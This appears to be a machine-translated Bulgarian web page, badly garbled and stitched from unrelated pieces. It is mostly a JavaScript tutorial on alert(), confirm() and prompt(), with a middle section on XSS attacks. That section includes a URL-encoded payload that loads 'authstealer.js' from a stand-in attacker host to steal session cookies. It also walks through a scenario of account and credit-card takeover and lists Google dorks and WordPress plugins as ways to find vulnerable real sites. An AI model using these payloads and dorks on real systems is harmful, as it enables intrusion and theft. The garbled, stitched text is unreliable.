В един момент ще се запознаем с методите на обекта прозорец: alert(), prompt() и confirm().
метод alert().
Методът alert() на заданията за извеждане на екрана на следващия диалогов прозорец от зададените известия с бутон "OK". Може да бъде победоносно, за да предаде важна информация на користувача.
window.alert(параметър_1);
Методът alert() може да има един специфичен за езика параметър - текста на предупреждението, както се показва в диалоговия прозорец. Датският метод не променя нищо след неговото vikonnannya.
Например, показва се да инспектира сайта, когато е натиснат срещу силата пред диалоговия прозорец: Отидете на уебсайта
метод потвърди().
Методът confirm() на обекта прозорец се използва за показване на диалоговия прозорец на екрана от назначените подкани и бутоните "OK" и "Проверка". Можете да спечелите за потвърждение, за да можете да попитате coristuvach да ви позволи да спечелите chi ієї chi іnshої dі.var resultConfirm = потвърждение (параметър_1);
Този метод има един параметър - текстът на напомнянето, както ще бъде показан в диалоговия прозорец.
Методът confirm() като резултат (resultConfirm) от своя викон превръща една от двете стойности:
- вярно за koristuvach чрез натискане на "OK";
- false , сякаш koristuvach е натиснал "Skasuwati" или е затворил yogo.
Например, в елемента id="resultConfirm" резултатът от щракване върху бутона "OK" в диалоговия прозорец:
метод prompt().
Методът prompt() за присвояване за показване на диалогов прозорец с подкани, текстово поле за въвеждане на данни и използване на бутоните "OK" и "Speak". Vono се разпознава, за да поиска данните на потребител.
var resultPrompt = prompt(параметър_1, параметър_2);
Този метод има два параметъра:
- напомняне, както ще бъде показано в диалоговия прозорец. Този параметър е obov'yazykovym и stit povіdomlennya, в какво "да се говори", yakі danі е виновен да въведете koristuvach текстово поле;
- другият параметър не е разговорен и може да се използва за вмъкване на стойност на кочана, както ще бъде показано в диалоговия прозорец за въвеждане.
Можете да обърнете следните данни с помощта на метода prompt():
- текстови стойности - така че в полето за въвеждане данните се въвеждат и се използват чрез натискане на "OK";
- празен ред - веднага щом в полето за въвеждане не липсват данните и користувач с натискане на "ОК";
- null - точно както при въвеждане на "Skasuvati" или затваряне на прозореца, няма значение дали данните са били въведени в текстовото поле.
Забележка: диалогов прозорец, който е резултат от един от методите alert() , confirm() или prompt() модален, т.е. Той блокира достъпа на koristuvach до приложението Batkiv (браузър) на точката, доковете на koristuvach не затварят диалоговия прозорец.
Например, той се запитва от името на koristuvach и се показва в резултат на текстовия елемент c id="nameUser" :
Например, помолете потребителя да отгатне числото 8:
... Познайте номера
Cross-Site Scripting (XSS) е конфликт, както се вижда в кода, който се вижда от страна на клиента (JavaScript) от страна на уеб, както се разглежда от други.
Спорът се обвинява в липсата на филтриране на данни, като користувач, който надделява за вмъкване в уеб страницата. По-лесно е да се разбере на конкретен пример. Познайте дали книгата за гости е програма, която е призната за приемане на данни от един вид користувача на това външно отражение. Ясно е, че книгата за гости по никакъв начин не ревизира или филтрира данните, които трябва да бъдат въведени, а просто ги отразява.
Можете да добавите най-простия си скрипт (няма нищо по-просто, можете да пишете лоши скриптове в PHP - твърде богат е, за да може някой да го направи). Но вече има достатъчно готови опции. Например, говоря за опознаването на Dojo и OWASP Mutillidae II. Има подобен пример. В самостоятелната Dojo среда отидете на браузъра за подкани: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Какво ще кажете за някои от koristuvachіv vvіv:
След това уеб страницата ще се покаже:
Витания! Вашият уебсайт е задължителен.
Например въведете кода по следния начин:
Витания! Вашият уебсайт е задължителен.
Това трябва да изглежда така:
Браузърите запазват анонимни бисквитки от голям брой сайтове. Скинът на сайта може да премахва бисквитки само запазени от него. Например сайтът example.com запази някои бисквитки от вашия браузър. Ако отидете на сайт another.com, този сайт (клиентски и сървърни скриптове) нямат достъп до бисквитки, така че example.com се запазва.
Ако example.com се анализира преди XSS, това означава, че можем по друг начин да преминем в новия JavaScript код и този код ще бъде обвит в името на сайта example.com! Тобто. Този код премахва например достъпа до бисквитки на сайта example.com.
Мисля, че всички помнят, че JavaScript се използва в браузърите на местните, т.е. за наличието на XSS, внедряването на кода shkidlivy отказва достъп до данните на koristuvach, което отваря отстрани на уебсайта.
Кодът за внедряване включва всички онези, които използват JavaScript, но самият:
- отказва достъп до бисквитки до сайта, който разглеждате
- можете да промените старата изглеждаща страна
- отказва достъп до клипборда
- можете да използвате програми на JavaScript, например ki-loggers
- абонирайте се за BeEF
- че в.
Най-простият пример за бисквитки:
Наистина ли, тревога vikoristovuetsya по-малко за XSS. Наистина shkіdlive полезни navantazhennya zdіysnyuє prihovanі dі. Vaughn prihovanno sv'yazuetsya z vіddalenim сървър на натрапника и предава на новите откраднати данни.
Vidi XSS
По-важното е, че трябва да разберете за XSS за тези, които миришат:
- Запази поста)
- Видображение (непостоянно)
Пример за първото:
- Въведено от нападателя, специално оформено съобщение в книгата за гости (коментар, форум, профил), как да се кача на сървъра, се завантажуе от сървъра възможно най-скоро, ако coristuvachi поиска мнението на страната.
- Нападателят отне достъпа до сървъра за данни, например чрез SQL инжекция, и получи данните, които изглежда са coristuvachev, като се има предвид злонамерения JavaScript код (с килограми или BeEF).
Пример за нахални:
- В сайта има търсения, които едновременно с резултатите от търсенето се показват на kshtalt „Ти търсихте: [ред търсения]”, като тези данни не се филтрират по подходящ ранг. Ако такава страна се използва само за тези, които могат да я наложат, то докато нападателят изпрати сила към друг користувача сайт, атаката не работи. Като заместител на силата, изпратена на жертвата, можете да спечелите поставянето на зловреден скрипт на неутрален сайт, който жертвата вижда.
Други виждат (като различни непостоянни XSS несъответствия, изглежда, че този вид може да бъде различен вид постоянен XSS):
- DOM модели
Характеристики на XSS бази на DOM
По-просто казано, злонамереният код на „великолепния“ некомпетентен XSS може да се третира като HTML код. Например, posilannya се формира в такъв ранг:
http://example.com/search.php?q="/>
И когато отворите изходния HTML код, може да видите нещо подобно:
И DOM XSS променя структурата на DOM, тъй като се формира в браузъра в движение и заразява злонамерен код, можем само да разгледаме структурата, която е формирана DOM. HTML не се променя във вашия собствен. Да вземем за пример този код:
След това в браузъра ще работим:
Страничен код за изход:
Нека оформим адреса така:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Сега страната изглежда така:
Нека да разгледаме изходния HTML код:
Нищо не се е променило там. След като казахме това, трябва да се удивим на DOM структурата на документа, за да разкрием злонамерения код:
Тук е въведен работещ прототип на XSS, за истинска атака се нуждаем от по-усъвършенстван подход, тъй като е невъзможно чрез тези, които програмата използва, да чете точно през точките след комата и точно на ръба сигнал (1); сигнал (2)вече невъзможно. Тим не е менщ, завдяки unescape()сред датчаните, които се обръщат, можем да використуваме corisne желанието за kshtalt като този:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Де ми замени символа ; върху кодировките в еквивалент на URI!
Сега можем да напишем изискан скрипт за JavaScript и да го съберем, за да редактираме жертвата, сякаш се опитваме да правим стандартни нестандартни междусайтови скриптове.
XSS одитор
Google Chrome (а също и в Opera, която сега е победителят двигател на Google Chrome), имаше такава изненада:
dom_xss.html:30 XSS Auditor отказа да изпълни скрипт в „http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);", тъй като част от кода е свързан. Уеб сървърът е защитен като сървър, който се хоства в заглавката "X-XSS-Protection" или "Content-Security-Policy".
Тобто. Сега браузърът има XSS одитор, който помага за подобряване на XSS. Firefox все още няма такава функционалност, но предполагам, че е вдясно. Ако внедряването в браузърите ще бъде далече, тогава можем да говорим за стойността на заглушаването на XSS.
Струва си да си припомним, че днешните браузъри работят около ръбовете на проблеми с експлоатацията, като непостоянен XSS и XSS, базиран на DOM. Освен това е необходимо да запомните, когато тествате уебсайтове за допълнителен браузър - като цяло може да изглежда, че уеб допълнението е противоречиво, но не е необходимо да потвърждавате, че е треска, само поради тези причини, че блокира браузър.
Приложете XSS експлоатация
Злонамерените хора, тъй като те могат да мислят за победа на междусайтовите скриптове снизхождение, са виновни, че отиват в скин класа на снизхождение по различен начин. Ето описания на вектори на атаки от клас кожа.
Когато XSS е непоследователен в атаките, е възможно да се използва BeEF, който разширява атаката от уебсайт на локално рафинирано ядро.
Непостоянна XSS атака
1. Алис често вижда сайта, който Боб хоства. Уебсайтът на Боб позволява на Алисия да влезе с името/паролата на акаунта и да запази чувствителни данни, като информация за плащане. Ако влезете правилно, браузърът запазва авторизационни бисквитки, така че можете да използвате тъпи символи, т.е. компютърни обиди (клиент и сървър) не забравяйте, че е изчезнал.
2. Melori посочва, че уебсайтът на Боб трябва да отмъсти за неподходящо XSS несъответствие:
2.1 Когато видите страната за търсене, влизате в реда за търсене и натискате правилния бутон, тъй като резултатите не са намерени, страната показва входния ред на търсенето, последван от думите „не е намерено“ и URL адресът може виж http://bobssite.org?q=її искане за фалшифициране
2.2 С нормална заявка за шега за kshtalt на думата " кучета» страната просто се показва « кучетане е намерен" url http://bobssite.org?q= кучета, което е напълно нормално поведение.
2.3 Защитете, ако има аномален сигнал за търсене на kshtalt :
2.3.1 Това е предварително предупреждение (като "xss").
2.3.2 Страна на дисплея не е намеренреда на напомнянията за помилването с текст "xss".
2.3.3 URL адрес, прикачен към експлоатация http://bobssite.org?q=
3. Melory изгражда URL, за да използва спора:
3.1 Спечелени ограбени URL адреси http://bobssite.org?q=puppies . Можете да изберете да конвертирате ASCII знаци в шестнадесетичен формат, като този http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3Eза да се предотврати възможността на хората да дешифрират грешен URL адрес.
3.2 Вон преодолява имейлите до настоящите членове на сайта на Боб, който не подозира нищо, очевидно: "Вижте готините кучета."
4. Алис взема листа. Вон обича кучетата и кликва за помощ. Отивате на уебсайта на Боб при търсене, не знаете нищо, пише „кучетата не са намерени“, а в самата среда стартира таг със скрипт (невидим на екрана), отвличащ тази програма за викони Melori authstealer. js (XSS атака XSS атака). Алис забравя за това.
5. Програмата authstealer.js се стартира в браузъра на Алис, така че няма да е джерелом на уебсайта на Боб. Тя ще съхрани копие на бисквитката за оторизация на Алис и ще го изпрати до сървъра на Melory, de Melori їх vityaguє.
7. Сега, ако Мелора е в средата, тя ще отиде в секцията за плащане на уебсайта, ще се учуди как краде копие от номера на кредитната карта на Алис. Нека да продължим и да променим паролата, така че. сега Алис не може да влезе повече.
8. Няма да ограбите атакуващата скала и ще я контролирате с подобен ранг, изпратен на самия Боб, и в този ранг отнемате административните привилегии на сайта на Боб.
Публикувана XSS атака
- Мелори може да има физически запис на уебсайта на Боб.
- Melori уважава, че уебсайтът на Боб отмъщава за несъответствието след XSS. Ако отидете в новия раздел, публикувате коментар, тогава ще се преструвате, че няма да ви злоупотребяват. Ако текстът на коментара трябва да бъде пропуснат от HTML тагове, тези тагове ще бъдат изобразени като такива и независимо дали маркерите на скрипта се изпълняват или не.
- Melori прочетете статията в новините за разпространението и напишете коментар в коментарите за разпространението. В коментара поставете текста:
- В моята история кучетата са били толкова достойни за мен. Вонята е толкова великолепна!
- Ако Алис (или иначе) отвлече страната с този коментар, маркерът на скрипта на Melori се стартира и открадва бисквитките за оторизация на Алис и се изпраща до тайния сървър на Melori за събиране.
- Мелори вече може да промени сесията на Алис и да вижда себе си като Алис.
Търсете различни сайтове преди XSS
Dorks за XSS
На първо място, има селекция от сайтове, на които са възможни XSS атаки. Сайтовете могат да бъдат търсени за помощ от Google. Ос на такива глупаци, така че копирайте и поставете в Google Търсене:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Ще видим списък със сайтове. Необходимо е да влезете в сайта и да знаете новите полета за въвеждане, като формата на връзката за връщане, формуляра за влизане, търсенето на сайта и т.н.
Уважавам, че е практично да откриете лекомислието в популярните уеб добавки, които се актуализират автоматично. Класическият пример за такава програма е WordPress. Всъщност непоследователността на WordPress и особено в йога плъгините е. Освен това има анонимни сайтове, които не актуализират нито един WordPress двигател (чрез тези, които уебмастърът е въвел в изходния код, за да промени собствения си код), или плъгини и теми (като правило тези пиратски плъгини и теми). Но ако четете този раздел и откривате нещо ново, това означава, че WordPress все още не е за вас... Нека се обърнем отново към новия език.
Най-добрите числа - всички различни самостоятелно написани двигатели и скриптове.
Как да нарисувате дизайна за вмъкване, можете да изберете
Внимавайте, в таговете на HTML кода се използва вашият код за внедряване. Поле за въвеждане на тип челна ос ( вход):
Нашето полезно желание да го прекараме там, де заразно, думата "калъфка". Тобто. промяна на стойността на етикета вход. Можем да се разминем с някого - ще си затворя крака и тогава ще се маркирам за помощ "/>
"/>
Нека го пробваме за някой сайт:
Браво, борба
Програми за шега и сканиране на XSS несъответствие
Излишно е да казвам, че всички уеб роботи могат да се отдадат на обхождане на XSS. Тази тема не подлежи на договаряне, по-известна с подобен скенер за кожа okremo.
Има и специални инструменти за сканиране на XSS несъответствие. Това число може да бъде специално назовано.
JavaScript има три основни операции, които ви позволяват да приемате данни като вход за по-нататъшна обработка в скриптове. Tse предупреждение, подкана и потвърждение. Защо смърди zastosovuyutsya, тъй като их vikoristovuvat и други нюанси, които ще бъдат разгледани далеч от tsіy statti.
тревога
Zastosovuetsya за показване на екрана на браузъра на модалния прозорец (това означава, че нищо не може да се натиска отстрани, докато прозорецът се затвори. В края на докинг станцията не щракнете върху "OK" в прозореца).
След като видите известието, което се изпраща към предупреждението, скриптът ще бъде актуализиран и актуализиран след затваряне на модалния прозорец.
В момента на пълненеполетата са ОК, скриптът ще върне обратно информацията, yaku vv_v koristuvach.
Синтаксис на командинещо по-сгъваемо, по-ниско отпред, миди ви позволява да зададете текста на писмото на гол и полетата, които могат да се въвеждат за въвеждане на информация, тъй като ще се показва за ключалката: резултат = подкана (заглавие, по подразбиране);, де
- заглавие- напомняне, както ще бъде показано на користувачева в модалния прозорец. Аргумент е obov'yazkovym за zapovnennya.
- по подразбиране- тези, които се появяват в полето за въвеждане на текста за промоцията. Също така е obov'yazkovy за zapovnennya, фрагменти като yogo не питайте, tse mozhe донесете за помилване в някои браузъри. Ако искате да оставите полето за въвеждане празно, просто задайте подканата на следващата стъпка:
var myTest = prompt("Да е информация", """);
Малко подкана за задника:
var year = prompt( „Кои роци завършихте ВНЗ?“, 2008); alert("Вие сте завършил" + година + "рок!");
Обадете се, този екип печели, за да събере данни от кореспондентите, тъй като е необходимо скриптът да продължи по-нататъшната работа.
потвърди
Това също е модален прозорец. Не е лесно да разберете имената на використите, звънете в името на chogos іz koristuvach.
За тази цел се изостря - за взаимодействие натиснете бутоните OK и CANCEL, така че булевите стойности на true и false да се обърнат към скрипта. Оценки: 4 (средно 4 от 5)
В тази статия имаме три метода и самият методи alert(), confirm() и prompt(). смърди всичко признат за взаимодействие с coristuvache.
И трите метода лежат върху обекта прозорец. І смърди може да се нарече в такъв ранг: прозорец. име_на метод(); Но JavaScript ни позволява да не указваме обекта на прозореца, а просто да напишем име на метода.
Нека разгледаме метода alert(). Датският метод е да се покаже напомняне в края на браузъра на браузъра. Прозорецът трябва да се появи в горната част на страницата и докато не натиснете бутона OK, той няма да се затвори.
За демонстрационни цели ето напомняне за помощния метод alert().
Var today_is = "Понеделник"; alert("Днес" + днес_е);
В средата на метода можем да посочим дали има ред само без html тагове. Смърдите тук не растат, но изглеждат като є.
Ако е ред, ако искате да изберете по-дълъг и ако искате да преминете към нов ред, ето html тага
не питай. Тук е необходимо да се изпише символът \n.
Предупреждение("Looooooooong \nStringgggggg");
Този метод често е печеливш да поиска прошка в кода.
Процесът на обработка на кода се спуска до дъното, така че за да хванете помилването, просто напишете метода alert () в областта преди помилването, където се намира помилването. І akscho alert () spratsyuvav, означава до ред, de yogo е написано, няма извинение.
Дали трябва да се премести един ред или повече по-ниско. Избирам да променя, ще подновя страницата в браузъра и ние се чудим, сякаш предупреждение () цацана, означава извинение за реда, de vin know, nі, іnakshe, якшо вин не цацавал, извинете да съм в ред повече зад единия, де вин да се знае веднага. В този ранг можете да знаете помилването в кода.
метод потвърди().
Този метод е печеливш за потвърждаване на потвърждението на захранването. Има само две опции за промяна, така че (OK) или (Отказ/Skasuwati). Ако това е вярно, тогава методът се превръща в true (true), в противен случай се превръща в false (false).
Например, в края на метода confirm() той пита "Сигурни ли сте, че искате да отмените партито?". Ако случаят е такъв, тогава чрез метода alert() ще изведем следното съобщение "Koristuvach иска да напусне страната", в противен случай ще покажем съобщението "Koristuvach НЕ иска да напусне страната".
Var user_answer = confirm("Сигурни ли сте, че искате да отмените вашата страна?"); if(user_answer) alert("Користувач иска да напусне страната"); else alert("Користувач НЕ ИСКА да \nнапуска страната");
Ето как работи методът confirm(). Vіn може да спечели в различни випадове. Например, преди това, както се вижда от сайта, беше прието да се хранят koristuvach, чи обвинява сам. Но преди това, как да коригирате формуляра, можете също да попитате coristuvacha "Попълнихте ли всичко правилно?"
метод prompt().
Първият метод, който и да избера, е същият метод prompt(). Датският метод печели повече, по-нисък от два метода. Vіn позволява otrimatsiyu іinformatsiyu vіd koristuvаchа, yaku vіn въведен в текстовото поле.
В резултат на това методът prompt() завърта или входния ред, като натискане на бутона OK, или null, което означава, че бутонът за подкана е натиснат.
Като параметър, така че в средата на дъгата на този метод да можем да напишем произволен ред или захранване, така че да знаем как трябва да се въведе информацията.
Например, молим користувача да попита "Как се казваш?" Въвеждането на кратко име се показва на екрана зад помощта на метода за предупреждение ().
Var name = prompt("Какво е твоето име?"); alert("Ти се наричаш" + име);
Запазете тази страна на прозореца в браузъра.
Zrozumіlo, в текстовото поле към метода prompt () можете да въведете всякаква информация. Тази информация ще се завърти в ред, за да въведете цифри или други специални знаци.
Например, помолете koristuvach да въведе две числа, за да можем да ги умножим по-късно. Ще има калкулатор за умножение.
Var x = prompt("Въведете първо число:"); var y = prompt("Въведете друго число:"); //Преобразуване на въвеждането на числа от серийния тип в числовия тип x = Number(x); y = число(y); document.write(x + " * " + y + " = " + (x * y));
Числата се въвеждат в редове, така че за правилния резултат от умножението е необходимо да преминете през функцията Number (), сякаш ги преобразувате от тип ред в нормално число.
Е, това е всичко. Сега знаете още три метода: alert(), confirm() и prompt(). Yakih V може да спечели на практика.
Windows 7